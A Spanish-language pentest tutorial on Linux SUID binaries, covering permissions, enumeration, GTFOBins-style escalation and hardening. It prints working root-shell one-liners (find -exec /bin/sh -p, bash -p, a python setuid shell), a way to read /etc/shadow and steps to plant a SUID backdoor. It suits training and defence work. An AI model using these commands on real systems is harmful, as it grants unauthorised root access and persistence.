Explotación de permisos SUID en Linux (Guía completa 2026)

Guía actualizada para 2026 sobre permisos SUID en Linux: qué son, cómo funcionan, técnicas de enumeración y explotación con GTFOBins, CVEs modernos y hardening para prevenir escaladas de privilegios.

27 de diciembre de 2021Actualizado el 27 de julio de 2026Linux,Escalada de Privilegios,Ciberseguridad24min de lectura

Explotación de permisos SUID en Linux para escalada de privilegios

En cualquier pentest sobre Linux, el objetivo suele ser el mismo: pasar de una shell con pocos privilegios a una shell con permisos de root. Esa transición, conocida como escalada de privilegios, se apoya en una colección de técnicas bien conocidas: reglas sudo mal configuradas, binarios SUID inseguros, exploits de kernel, cron jobs peligrosos, capacidades mal asignadas, servicios con archivos modificables, entre muchas otras. Si revisas cualquier cheatsheet moderno de privesc o walkthrough de CTF, verás que la búsqueda de SUID está siempre en el “checklist básico” después de conseguir la primera shell.

Entre todas esas vías, los binarios con permiso SUID ocupan un lugar especial. Un solo SUID mal configurado o un ejecutable vulnerable con ese bit activado puede convertir una cuenta sin privilegios en root con una sola línea de comando, especialmente si se combina con herramientas como GTFOBins que documentan exploits prácticos para binarios comunes como find, vim, nmap, python o bash. Por eso, muchos labs y guías de escalada de privilegios actuales dedican capítulos completos a SUID, tratándolo como uno de los “quick wins” más frecuentes en entornos reales y CTFs.

Al mismo tiempo, el contexto de SUID en 2026 ha cambiado respecto a hace unos años. No solo hablamos de permisos mal puestos, sino también de vulnerabilidades modernas en kernel y glibc que abren puertas inesperadas: bugs en OverlayFS que permiten crear binarios SUID root en directorios temporales (como CVE‑2023‑0386 y variantes GameOver(lay), listados por CISA como vulnerabilidades explotadas activamente), o fallos como “Looney Tunables” (CVE‑2023‑4911) que aprovechan el contexto privilegiado de binarios SUID a través del loader de glibc. En paralelo, el ecosistema está explorando modelos alternativos, como mecanismos basados en sudo, capacidades o incluso propuestas tipo run0 en systemd, que intentan delegar privilegios sin recurrir a tantos binarios SUID gigantes.

Este artículo busca precisamente unir esos dos mundos: empezar por los fundamentos de permisos y bits especiales en Linux, entender bien qué hace el bit SUID a nivel de identidad de proceso, ver cómo se explota en la práctica con GTFOBins y binarios comunes, y, finalmente, revisar qué está pasando con SUID en los últimos años (CVEs, tendencias de hardening, alternativas modernas). La idea es que, al terminar, puedas mirar cualquier sistema Linux (sea un servidor de producción, una máquina de laboratorio o un contenedor) y evaluar de forma crítica el impacto real de cada SUID que encuentres, tanto desde la perspectiva de ofensiva como de defensa.

Cada archivo/directorio en Linux tiene:

Un propietario (usuario).
Un grupo.
El resto de usuarios (otros).

A cada uno se le asignan permisos de lectura (r), escritura (w) y ejecución (x). Si ejecutas:

ls -l script.sh

podrías ver algo como:

-rwxr-xr-x 1 jose jose  1024 Jul 26 19:30 script.sh

$\underbrace{-}$

Interpretación rápida:

Propietario (jose): rwx → puede leer, escribir y ejecutar.
Grupo (jose): r-x → puede leer y ejecutar, pero no escribir.
Otros: r-x → igual que el grupo.

En notación octal, cada tripleta rwx se convierte en un número:

rwx = 7
rw- = 6
r-x = 5
r-- = 4

Así, el ejemplo -rwxr-xr-x es 755. Otro clásico:

ls -l documento.txt

-rw-r--r-- 1 jose jose  4096 Jul 26 19:31 documento.txt

Se traduce como 644: dueño puede leer y escribir, los demás solo leer.

Dominar esta traducción es clave, porque el bit SUID se expresa precisamente como un dígito extra añadido a la izquierda (por ejemplo 4755 para “SUID + 755”).

Esta base de permisos tradicionales es el contexto sobre el que aparecen los “bits especiales” como SUID, SGID y sticky bit, que no cambian qué se puede leer o escribir, sino cómo se ejecutan los procesos y quién puede borrar archivos en ciertos directorios.

Además de los permisos rwx normales, Linux define tres bits especiales que se aplican a archivos y directorios:

SUID (Set User ID): cuando se activa en un archivo ejecutable, hace que el proceso se ejecute con los permisos del propietario del archivo en lugar de con los permisos del usuario que lo lanza. Este es el protagonista del artículo.
SGID (Set Group ID): funciona de forma similar, pero para el grupo. En ejecutables, hace que el proceso se ejecute con el grupo propietario del archivo; en directorios, hace que los nuevos archivos hereden el grupo del directorio.
Sticky bit: aplicado a directorios como /tmp, indica que solo el propietario de un archivo puede borrarlo, incluso si otros usuarios tienen permisos de escritura sobre el directorio. Es una forma de evitar que usuarios borren archivos ajenos en directorios compartidos.

En notación octal, los bits especiales se añaden como un dígito extra al principio:

4 → SUID
2 → SGID
1 → sticky bit

Así, 4755 significa SUID + permisos 755, y 2755 significaría SGID + 755.

Ejemplo práctico con SUID en un ejecutable simple:

# Compilamos un binario cualquiera
gcc program.c -o demo

# Le damos permisos 755
chmod 755 demo
ls -l demo

-rwxr-xr-x 1 root root  8736 Jul 26 19:35 demo

Ahora activamos SUID usando octal:

chmod 4755 demo
ls -l demo

-rwsr-xr-x 1 root root  8736 Jul 26 19:35 demo

Detalles clave:

La xdel propietario se ha convertido en s: rws.
El 4 delante de 755 indica el bit SUID (4755).

Si en cambio activas SUID sobre un archivo al que el propietario no tiene x:

chmod 4444 demo
ls -l demo

-r-Sr--r-- 1 root root  8736 Jul 26 19:35 demo

Aquí aparece una S mayúscula, indicando que el bit SUID está puesto pero no hay permiso de ejecución para el propietario, por lo que en la práctica no hace efecto.

Para SGID y sticky bit, el patrón es similar, pero afectando al grupo o a la política de borrado en directorios. Por ejemplo, un /tmp típico con sticky bit se verá como:

drwxrwxrwt 10 root root  4096 Jul 26 19:40 /tmp

La t final indica sticky bit activado.

Entender esta codificación te permite detectar rápidamente si un binario tiene algún bit especial activado cuando ves algo como chmod 4755 o analizas la salida de find en una auditoría.

Para entender por qué SUID es tan potente, no basta con mirar los permisos del archivo: hay que saber cómo Linux representa la identidad de un proceso. A grandes rasgos, un proceso tiene:

UID real: quién inició el proceso (el usuario que ejecutó el comando).
UID efectivo: con qué permisos se está ejecutando actualmente el proceso (lo que realmente importa para comprobar permisos de acceso).
UID guardado: una copia que permite al proceso alternar entre privilegios (por ejemplo, soltar permisos temporales y luego recuperarlos).

En un programa normal, el UID real y el efectivo coinciden. Si un usuario con UID 1000 ejecuta /bin/ls, el proceso corre con UID real = 1000 y UID efectivo = 1000. En cambio, cuando se ejecuta un binario con SUID propiedad de root, el escenario cambia: el proceso tiene UID real = 1000 (el usuario que lanzó el programa), pero UID efectivo = 0 (root).

Considera este programa en C:

#include <stdio.h>
#include <unistd.h>

int main() {
    printf("UID: %d, EUID: %d\n", getuid(), geteuid());
    return 0;
}

Como root:

gcc testsuid.c -o testsuid
chmod u+s testsuid      # activar SUID
ls -l testsuid

-rwsr-xr-x 1 root root  4305 Jul 26 19:45 testsuid

Ahora cambias a un usuario normal y lo ejecutas:

su usuario
id
./testsuid

Posibles salidas:

uid=1000(usuario) gid=100(users) groups=100(users)
UID: 1000, EUID: 0

Interpretación:

UID (real) = 1000 → eres el usuario normal que lanzó el programa.
EUID (efectivo) = 0 → el proceso tiene permisos de root mientras corre.

Ese salto de EUID es exactamente lo que hace peligroso al SUID: cualquier bug, mala práctica o funcionalidad demasiado “potente” dentro de un binario SUID root puede convertirse en una escalada directa de privilegios.

Finalmente, cuando buscas todos los binarios SUID en el sistema, usarás comandos como:

find / -type f -perm -4000 -ls 2>/dev/null

Que te devuelve un listado tipo:

12345 -rwsr-xr-x 1 root root 14064 May 10 09:12 /bin/ping
67890 -rwsr-xr-x 1 root root 4305  Jul 26 19:45 /usr/local/bin/testsuid
...

Cada línea con rws o r-s indica un candidato interesante para auditoría, ya que esos binarios se ejecutan con los privilegios de su propietario (a menudo root).

Esta diferencia entre UID real y efectivo es el corazón de la explotación de SUID. Un atacante no necesita “convertirse” en root a nivel de cuenta; le basta con encontrar un binario SUID que, al ejecutarse, le dé un proceso con UID efectivo de root y algún tipo de funcionalidad peligrosa: ejecutar comandos, leer/escribir archivos sensibles o cambiar permisos de otros binarios. A partir de ahí, la escalada de privilegios se convierte en una cuestión de creatividad y de saber qué hacer con ese contexto elevado.

El bit SUID (Set User ID) es un permiso especial que se aplica únicamente a archivos ejecutables. Su función es simple pero poderosa: cuando alguien ejecuta un binario con SUID activado, el proceso se corre con los permisos del propietario del archivo, no con los permisos del usuario que lo lanza. Si el binario es propiedad de root, esto significa que cualquier usuario que lo ejecute obtendrá un proceso con UID efectivo 0, al menos durante la ejecución del programa.

Un ejemplo legítimo y muy conocido es /usr/bin/passwd. Cambiar la contraseña de un usuario implica modificar entradas en /etc/shadow, archivo que suele ser propiedad de root y solo accesible para él. Sin SUID, un usuario normal no podría escribir ahí, así que el sistema necesita que passwd se ejecute con permisos de root aunque lo invoque un usuario sin privilegios. Si inspeccionas el binario:

ls -l /usr/bin/passwd

verás algo similar a:

-rwsr-xr-x 1 root root 54256 Jul 21 10:12 /usr/bin/passwd

La s en lugar de la x en los permisos del propietario (rws) indica que el bit SUID está activado y que este programa se ejecutará con los privilegios de su dueño (root). Cuando un usuario normal lanza passwd, el proceso tendrá UID real = usuario, pero UID efectivo = 0, lo que le permite escribir en /etc/shadow de forma controlada y segura (en teoría).

Este patrón (usuarios que necesitan realizar una acción privilegiada sin convertirse en root a nivel de cuenta) es el motivo por el que SUID existe y sigue siendo usado en sistemas actuales: encapsular operaciones críticas en binarios específicos, en vez de dar acceso total al sistema.

Hay dos formas habituales de activar SUID sobre un binario:

Notación simbólica con chmod:

chmod u+s ./programa

obtendrás algo como:

-rwsr-xr-x 1 root root 8736 Jul 26 23:20 programa

La s minúscula reemplaza la x del propietario y confirma que SUID está activo.

Notación octal con chmod:

chmod 4755 ./programa

Aquí el dígito 4 al principio indica SUID, y 755 son los permisos normales (rwxr-xr-x). Esto es especialmente útil en scripts de despliegue o hardening, donde quieres establecer de golpe permisos normales + bit especial.

Para quitar SUID:

chmod u-s programa
# o
chmod 0755 programa

Después, ls -l mostrará de nuevo rwx en vez de rws, indicando que el programa ya no se ejecutará con privilegios del propietario.

Como vimos antes, si el propietario no tiene permiso de ejecución, el bit SUID aparece como S mayúscula (rwSr-xr-x), lo que suele ser un indicador de configuración inconsistente o de que el bit especial no tendrá efecto real.

Desde el punto de vista de administración de sistemas, SUID no es “malo” por sí mismo: es una herramienta necesaria para casos donde un usuario debe lanzar una operación que toca recursos protegidos, como cambiar su contraseña (passwd), enviar ping con ICMP usando /bin/ping, o ejecutar utilidades que requieren acceso a sockets o dispositivos especiales. En lugar de darles una cuenta de root o permitirles usar sudo para todo, se encapsula la lógica privilegiada en unos pocos binarios cuidadosamente revisados.

Sin embargo, desde el punto de vista de ciberseguridad, cada binario SUID se convierte en una superficie de ataque muy sensible. Si el programa tiene:

Validación pobre de input.
Uso inseguro de variables de entorno.
Llamadas a otros programas confiando en $PATH.
Funcionalidades demasiado potentes (por ejemplo, ejecutar comandos arbitrarios o manipular archivos y permisos sin restricciones).

entonces un atacante con UID real bajo puede aprovechar el contexto de UID efectivo alto para romper el modelo de seguridad del sistema.

El riesgo se dispara cuando se marcan como SUID intérpretes o herramientas muy flexibles, como bash, python, perl o editores tipo vim. Por ejemplo, si /usr/bin/python fuera SUID root, un usuario podría hacer:

/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'

y conseguir una shell con UID efectivo 0, sin pasar por ningún flujo de autenticación adicional. Por eso las guías de hardening modernas insisten en que nunca se marque como SUID un intérprete generalista, y en que se auditen regularmente todos los binarios SUID buscando casos como estos.

A esto se suma el hecho de que los bits SUID se aplican también en binarios de terceros (software instalado), y que vulnerabilidades como CVE‑2023‑31871 en productos comerciales muestran cómo errores en esa lógica pueden permitir escribir archivos arbitrarios como root o plantar backdoors. Así, el mensaje clave es doble: SUID es una herramienta legítima que el sistema necesita, pero cada binario que lo usa debe ser tratado como un componente de alta criticidad, tanto por administradores como por pentesters.

El primer paso serio en cualquier privesc en Linux es responder: “¿Qué binarios SUID hay en este sistema?”. La forma más directa y compatible de hacerlo es con find. Un comando estándar es:

find / -type f -perm -4000 -ls 2>/dev/null

Explicación rápida:

find / Empieza a buscar desde la raíz del sistema (/), recorriendo todos los sistemas de archivos montados.
-type f Limita la búsqueda solo a archivos regulares (no directorios, sockets, etc.).
-perm -4000 Busca archivos que tengan el bit SUID activado (4000).
-ls Muestra información detallada de cada archivo encontrado (similar a ls -l).
2>/dev/null Oculta mensajes de error como “Permission denied” para no ensuciar la salida.

Una salida típica puede verse así:

5931076 -rwsr-xr-x 1 root root 90192 Oct 11 10:29 /bin/mount
5931116 -rwsr-xr-x 1 root root 23156 Sep 12 14:02 /usr/bin/passwd
6789012 -rwsr-xr-x 1 root root 54256 Jul 26 23:45 /usr/bin/sudo
...

Cada línea con permisos rws en el propietario (-rwsr-xr-x) indica un binario SUID. Estos nombres (/bin/mount, /usr/bin/passwd, /usr/bin/sudo, etc.) son tus primeros candidatos para análisis ofensivo y hardening defensivo.

Si quieres incluir también SGID en la búsqueda, puedes usar:

find / \( -perm -4000 -o -perm -2000 \) -type f -ls 2>/dev/null

Aquí -perm -2000 representa SGID, y la combinación $ ... -o ... $ significa “SUID o SGID”.

En muchos labs y sistemas grandes, el listado anterior puede ser largo. Para enfocarte en lo más crítico, suele ser útil filtrar SUID de root y guardar resultados:

find / -user root -perm -4000 -type f -exec ls -ld {} \; 2>/dev/null > /tmp/suid-root.txt

-user root Limita la búsqueda a archivos propiedad de root. Esto es especialmente relevante porque un binario SUID propiedad de otro usuario puede ser menos crítico que uno SUID root.
-exec ls -ld {} \; Ejecuta ls -ld sobre cada archivo encontrado, mostrando permisos y propietario en formato legible.
> /tmp/suid-root.txt Guarda la salida en un archivo, útil para revisarla y comentarla más tarde.

En el contexto de un pentest/CTF, también se usan variantes como:

find / -user root -perm -4000 2>&1 | grep -v "Permission denied" | grep -v "No such file or directory"

que generan un listado de rutas SUID root “limpio”, sin errores.

Aunque find es tu herramienta base, en 2026 es casi un estándar utilizar scripts de enumeración como LinPEAS, así como cheatsheets de privesc que integran muchas comprobaciones en un solo flujo.

Por ejemplo, LinPEAS:

Lista binarios SUID.
Marca con colores aquellos que son especialmente peligrosos o conocidos en GTFOBins.
Integra otros vectores (sudo, cron, capacidades, kernel, etc.) para que veas el contexto completo.

Como metodología, muchas guías recientes recomiendan algo como:

Ejecutar primero una herramienta como LinPEAS para obtener una visión global.
Aun así, lanzar tus propios comandos find / -perm -4000 para tener control fino sobre la salida y aprender a leerla.
Cruzar el listado de binarios SUID con GTFOBins y con tu propia experiencia, priorizando intérpretes (python, bash, perl) y herramientas con capacidad de ejecutar comandos o manipular archivos.

No todos los binarios SUID son igual de interesantes. Una forma sencilla de priorizar, tanto ofensiva como defensivamente, es:

Binarios del sistema muy usados: passwd, sudo, su, mount, umount, ping, pkexec.
- Son objetivo frecuente de investigación y CVEs; cualquier fallo aquí puede tener impacto masivo.
Intérpretes y herramientas potentes: bash, sh, python, perl, ruby, vim, nmap, etc.
- Si alguno de estos aparece con rwsr-xr-x y propietario root, es prácticamente una invitación a escalada directa.
Binarios de terceros: ejecutables en /opt, /usr/local/bin, directorios de aplicaciones instaladas.
- Suelen pasar más desapercibidos y pueden tener lógica de seguridad menos revisada, como se ha visto en vulnerabilidades recientes.

En un pentest, tu “pipeline mental” tras ejecutar find / -perm -4000 debería ser: ¿qué binarios del listado aparecen en GTFOBins? ¿Cuáles son intérpretes o herramientas flexibles? ¿Hay algo raro en /usr/local o /opt? En hardening, en cambio, la pregunta es: ¿todos estos SUID son realmente necesarios? ¿Podemos sustituir alguno por sudo bien configurado, capacidades específicas o servicios dedicados?

GTFOBins es una lista seleccionada de binarios Unix que se pueden abusar para escapar de entornos restringidos, escalar privilegios o acceder a archivos cuando se ejecutan con SUID, sudo o ciertas capacidades. Para cada ejecutable documentado (por ejemplo find, vim, nmap, python, bash), el sitio agrupa técnicas en bloques como:

Shell: cómo usar el binario para lanzar una shell.
File read/write: cómo leer o escribir archivos arbitrarios.
SUID / sudo / capabilities: variantes específicas para cada contexto.

El flujo típico de uso en un pentest moderno es:

Enumeras binarios SUID (find / -perm -4000 -type f 2>/dev/null).
De esa lista, coges los que no sean “típicos” o los que sabes que aparecen en GTFOBins (por ejemplo find, vim, less, python, perl, env, node, etc.).
Vas a gtfobins.org, buscas el binario y revisas las técnicas de SUID y sudo.
Ajustas el payload a tu entorno (paths, flags como -p, etc.) y lo pruebas en la máquina.

Esto convierte la explotación de SUID en algo muy sistemático: no estás “inventando” cada exploit desde cero, sino reutilizando patrones probados.

Si miras la entrada de find en GTFOBins, verás un bloque como:

SUID
It runs with the SUID bit set and may be exploited to access the file system, escalate or maintain access with elevated privileges working as a SUID backdoor.
...
find . -exec /bin/sh -p \; -quit

Interpretación ofensiva:

find tiene el parámetro -exec, que permite ejecutar un comando para cada elemento encontrado.
Si find es SUID root, el proceso que ejecuta /bin/sh hereda el UID efectivo de root.
El flag -p en sh (o en bash) indica que la shell no debe “bajar” de privilegios al UID real, sino conservar el UID efectivo elevado.

Combinando todo:

./find . -exec /bin/sh -p \; -quit

Si ./find es SUID root, obtendrás una shell con EUID 0.

Esta sección puede dividirse en tres sub‑bloques principales: conseguir shell, leer/escribir archivos y crear nuevos SUID/backdoors.

Si por mala configuración encuentras /bin/bash o /bin/sh como binario SUID root, el exploit es casi trivial:

ls -l /bin/bash

-rwsr-xr-x 1 root root 1183448 Jul 26 23:50 /bin/bash

/bin/bash -p

Aquí:

La s en rws indica SUID activo.
bash -p lanza una shell preservando el UID efectivo del proceso (root).

Tras ejecutar, id debería mostrar EUID 0:

uid=1000(usuario) gid=100(users) euid=0(root) groups=100(users)

Si python está marcado como SUID root:

ls -l /usr/bin/python

-rwsr-xr-x 1 root root 54256 Jul 26 23:55 /usr/bin/python

puedes aprovechar funciones como os.setuid(0) y os.system():

/usr/bin/python -c 'import os; os.setuid(0); os.system("/bin/sh")'

La lógica:

os.setuid(0) fuerza el UID efectivo del proceso a 0 (root), siendo posible porque el binario ya corre con contexto SUID.
os.system("/bin/sh") abre una shell que hereda esos privilegios.

Cualquier intérprete generalista con SUID (Python, Perl, PHP, Ruby) será casi siempre un “auto‑root” para un atacante.

Muchos binarios permiten ejecutar comandos desde dentro del programa:

vim SUID:

vim -c ':!/bin/sh'

less SUID (leer archivo y lanzar shell): Abres un archivo, luego:

!/bin/sh

nmap antiguo con modo interactivo:

nmap --interactive
# Dentro de la consola:
!sh

Si estos programas son SUID root, la shell que lanzan se ejecuta con EUID elevado.

Cuando no logras una shell directa, muchas veces puedes comprometer el sistema mediante lectura o escritura de archivos como root.

Con un binario SUID que pueda ejecutar cat o leer archivos arbitrarios, puedes hacer algo como:

find /etc/shadow -exec cat {} \;

Si find es SUID root, el cat se ejecutará con permisos de root y mostrará el contenido de /etc/shadow, lo que permite extraer hashes de contraseñas para crackeo offline.

Otros patrones:

Usar binarios SUID que implementan funciones de “copiado” o “logging” para copiar archivos protegidos a rutas legibles por el atacante.
Aprovechar herramientas como cp documentadas en GTFOBins para clonar archivos desde ubicaciones root a directorios de usuario.

Si el binario SUID permite escribir archivos en rutas arbitrarias (por ejemplo, un programa de backup o logging mal diseñado), puedes:

Escribir un script en /etc/cron.d que ejecute tu payload periódicamente.
Añadir una clave pública en /root/.ssh/authorized_keys.
Modificar archivos como /etc/sudoers o servicios de systemd para que ejecuten comandos bajo root.

Esta clase de explotación se ve mucho en productos de terceros con binarios SUID propietarios (como en CVE‑2023‑31871), donde la lógica interna permite paths controlados por el usuario.

Una técnica muy potente consiste en usar un SUID existente para marcar otro binario como SUID root y dejar un backdoor permanente.

Si dispones de algún cp SUID root o de otra utilidad SUID que preserve atributos:

cp $(which bash) /tmp/bash-root
chmod +s /tmp/bash-root

Después:

ls -l /tmp/bash-root
# -rwsr-xr-x 1 root root 1183448 Jul 27 00:10 /tmp/bash-root

/tmp/bash-root -p

Has creado tu propia shell SUID root en /tmp, que servirá como backdoor mientras no se borre o cambien sus permisos.

En entornos con NFS mal configurado (no_root_squash), es común ver técnicas similares: montar el recurso, copiar /bin/bash al share, marcarlo SUID y luego ejecutarlo desde la máquina víctima.

Cuando el binario SUID es uno “custom” (escrito por la organización), las técnicas se vuelven más específicas:

PATH hijacking: si el binario llama a otros programas sin ruta absoluta (system("service")), puedes poner un ejecutable service malicioso en un directorio que controles y manipular $PATH para que tu versión se ejecute con SUID.
Inyección de librerías: si la aplicación carga librerías desde rutas modificables, puedes plantar una .so maliciosa que se ejecute en contexto SUID. El patrón típico es usar strace para ver qué librerías “faltan” (No such file or directory) y crear una versión maliciosa en una ruta writable.

Este tipo de explotación requiere más análisis del binario, pero sigue el mismo principio: aprovechar que cualquier acción dentro del proceso SUID se ejecuta con los privilegios del propietario del archivo.

Una de las vulnerabilidades de escalada de privilegios más comentadas en los últimos años es CVE‑2023‑0386, un fallo en la implementación de OverlayFS en el kernel Linux que permite a un usuario local sin privilegios obtener acceso root. El problema se da cuando un sistema permite a usuarios montar ciertas particiones con OverlayFS (por ejemplo mediante FUSE y namespaces de usuario), y el kernel no elimina correctamente los bits setuid/setgid al copiar archivos entre mounts nosuid y mounts normales.

En términos sencillos:

El atacante monta un filesystem con una ejecutable propiedad de root marcado con setuid/setgid, bajo una configuración nosuid (donde, en teoría, los bits SUID/SGID no deberían tener efecto).
Luego configura OverlayFS usando ese filesystem como capa inferior y otra partición como capa superior que sí permite setuid/setgid.
Mediante operaciones como touch o cambios de metadatos, consigue que el kernel copie la ejecutable a la capa superior sin limpiar los flags SUID/SGID.
Resultado: aparece un binario SUID root en una partición que sí ejecuta archivos con SUID, accesible para el usuario atacante.

Este bug rompe la expectativa de que nosuid protege frente a la creación de SUID arbitrarios. CISA añadió CVE‑2023‑0386 a su catálogo de vulnerabilidades explotadas activamente (KEV), recomendando actualizar a kernels donde el fallo está corregido (ramas recientes de 6.2 en adelante). Para un artículo sobre SUID, este caso ilustra que el problema no es solo “marcar mal un binario existente”, sino también escenarios donde el kernel termina generando ejecutables SUID root en rutas temporales como /tmp sin que el administrador lo espere.

Otro caso relevante es CVE‑2023‑4911, apodado “Looney Tunables”, un buffer overflow en el loader ld.so al procesar la variable de entorno GLIBC_TUNABLES. El impacto es especialmente preocupante en el contexto de SUID:

Binarios SUID llaman a ld.so para cargar librerías y arrancar el proceso.
Aunque normalmente se endurecen ciertas variables de entorno en contextos SUID, el bug permitía construir un valor malicioso para GLIBC_TUNABLES que desencadenaba un overflow dentro de ld.so.
Si el exploit se ejecutaba al lanzar un binario SUID, el código malicioso corría con los privilegios del propietario del ejecutable (típicamente root).

En este escenario, el SUID no es el “bug”, pero sí el amplificador: el fallo está en glibc, pero el hecho de que ld.so se ejecute en el contexto SUID convierte un overflow en una escalada de privilegios local. Las guías de mitigación recomiendan actualizar glibc, revisar el uso de variables de entorno sensibles y, como práctica general, ser muy cuidadoso con cualquier configuración que permita a usuarios influir en el entorno de binarios SUID.

Más allá del sistema base, muchas aplicaciones comerciales introducen sus propios binarios SUID. CVE‑2023‑31871, por ejemplo, describe una vulnerabilidad de escalada de privilegios en OpenText Documentum Content Server: un binario SUID permitía escribir archivos arbitrarios como root debido a controles internos insuficientes. En un escenario de pentest:

El atacante identifica el binario SUID propietario de root en el directorio de la aplicación.
Analiza su lógica y descubre que acepta rutas o datos desde parámetros/inputs controlados.
Aprovecha la funcionalidad para escribir un script en /etc/cron.d o modificar un archivo de configuración crítico, obteniendo ejecución persistente como root.

Este tipo de fallos muestra que el problema de SUID también vive en el software instalado, no solo en /bin y /usr/bin. Para administradores, la lección es clara: cualquier paquete que instale binarios SUID debe considerarse riesgo alto y requerir auditoría específica.

En las guías y cheat sheets de escalada de privilegios de 2026, SUID aparece siempre como un pilar más dentro de un conjunto de técnicas: abuso de sudo, cron jobs, capabilities, exploits de kernel como DirtyPipe, PwnKit o las familias OverlayFS, y escapes de contenedores. La tendencia actual no es abandonar SUID, sino:

Reconocerlo como un vector histórico pero vigente.
Entender cómo vulnerabilidades recientes (kernel, glibc, aplicaciones) interactúan con él.
Integrar su auditoría en herramientas automáticas (LinPEAS, scripts de privesc) y en metodologías manuales.

esta sección sirve para conectar el mundo clásico de “encuentra un binario SUID y abusa de él con GTFOBins” con el contexto actual: muchos exploits modernos implican, directa o indirectamente, la creación o el uso de ejecutables con bits SUID/SGID en lugares donde el administrador cree estar protegido.

El primer principio de defensa frente a abusos de SUID es simple: cuantos menos binarios SUID, mejor. La mayoría de guías de hardening y escalada de privilegios sugieren:

Auditar periódicamente los binarios SUID:

find / -type f -perm -4000 -ls 2>/dev/null
find / -user root -perm -4000 -type f -ls 2>/dev/null

y revisar la lista manualmente o con herramientas.

Eliminar el bit SUID de binarios que no sean estrictamente necesarios para la operación normal del sistema, especialmente intérpretes (bash, python, perl, ruby), editores (vim), herramientas multiuso (nmap, find) y utilidades poco usadas.
Revisar paquetes de terceros que instalan su propios binarios SUID en rutas como /opt, /usr/local/bin o directorios específicos de aplicaciones, comprobando si realmente necesitan ese nivel de privilegio o si se puede sustituir por sudo bien configurado.

Esta reducción de superficie hace que incluso si un atacante tiene una shell en el sistema, tenga menos opciones a la hora de cruzar su enumeración con GTFOBins.

En lugar de depender de muchos binarios SUID grandes y complejos, el ecosistema actual favorece modelos donde la elevación de privilegios se delega de forma más controlada:

Sudo / doas bien configurados: Permitir solo comandos específicos para usuarios/grupos concretos, evitando reglas amplias tipo ALL=(ALL) NOPASSWD: ALL y desaconsejando uso de intérpretes en sudoers (python, bash, vim).
Service managers y mecanismos como run0 en systemd: Proyectos como systemd introducen herramientas para ejecutar procesos con privilegios controlados sin basarse en binarios SUID tradicionales, centralizando la lógica de privilegios en el service manager.
Arquitecturas daemon + cliente: En vez de marcar un binario monolítico como SUID, se diseña un servicio (daemon) que corre como root y expone una interfaz controlada (socket, API) al que los clientes (sin privilegios) pueden hacer peticiones. El daemon valida las operaciones y ejecuta solo lo necesario con privilegios, reduciendo la superficie de ataque comparado con un binario SUID que recibe input directo del usuario.

Para desarrolladores, la recomendación es clara: evitar emitir binarios SUID como “solución rápida” y pensar en mecanismos de delegación de privilegios más granulares y auditables.

Auditar binarios SUID/SGID:

Ejecutar find / -perm -4000 -type f -ls 2>/dev/null.
Filtrar SUID de root con -user root.
Guardar los resultados y clasificarlos (binarios del sistema, intérpretes, terceros).

Cross‑check con GTFOBins y cheatsheets:

Revisar cada binario SUID en GTFOBins para ver si tiene técnicas de shell, file read/write o backdoor.
Marcar especialmente los que aparezcan en listas de privesc como “altamente explotables”.

Reducir y endurecer:

Quitar SUID de intérpretes y herramientas genéricas no esenciales (chmod u-s).
Revisar y ajustar reglas sudo para evitar combinaciones peligrosas de SUID/sudo.
Limitar el uso de mounts nosuid mal configurados y mantener el kernel actualizado frente a vulnerabilidades como CVE‑2023‑0386.

Monitorización y detección:

Configurar auditd, Wazuh, o reglas similares para registrar cambios en permisos (chmod 4xxx), creación de nuevos binarios SUID y ejecuciones sospechosas (por ejemplo, find lanzando /bin/sh).
Incluir en tus dashboards alertas para rutas inusuales con SUID (por ejemplo /tmp, /var/tmp, subdirectorios de aplicaciones).

Revisión de software de terceros:

Auditar binarios SUID introducidos por paquetes externos (como el caso de CVE‑2023‑31871).
Contactar con proveedores o revisar changelogs para entender por qué necesitan SUID y qué controles tienen.

A lo largo del artículo has visto cómo un único bit de permiso (SUID) puede cambiar por completo el contexto de ejecución de un proceso en Linux: un usuario normal lanza un binario, pero el proceso corre con los privilegios del propietario del archivo, típicamente root. Sobre esa base se construyen tanto los casos legítimos (passwd, ping, utilidades del sistema) como los escenarios de ataque, donde binarios mal diseñados, intérpretes SUID o software de terceros se convierten en vías directas a root.

Para que este artículo no se quede solo en teoría, vale la pena recomendar algunos recursos que en 2026 son casi estándar para practicar escalada de privilegios en Linux:

GTFOBins: catálogo de técnicas de explotación por binario, con secciones específicas para SUID, sudo y capabilities. Ideal para convertir listados de find / -perm -4000 en exploits concretos.
LinPEAS / PEASS‑ng: scripts de enumeración que destacan binarios SUID peligrosos, capacidades, cron jobs y muchas otras vías de privesc. Muy utilizados en labs como HackTheBox y TryHackMe.
Cheat sheets y guías de privesc 2026: referencias como las de Hackerdna, RedTeamGuide o PayloadsAllTheThings, que integran SUID junto a sudo, cron, kernel exploits, Docker escapes y PATH hijacking.
Plataformas de práctica: HackTheBox, TryHackMe, VulnHub y labs universitarios que incluyen máquinas específicamente diseñadas para practicar escalada de privilegios vía SUID, sudo y kernel.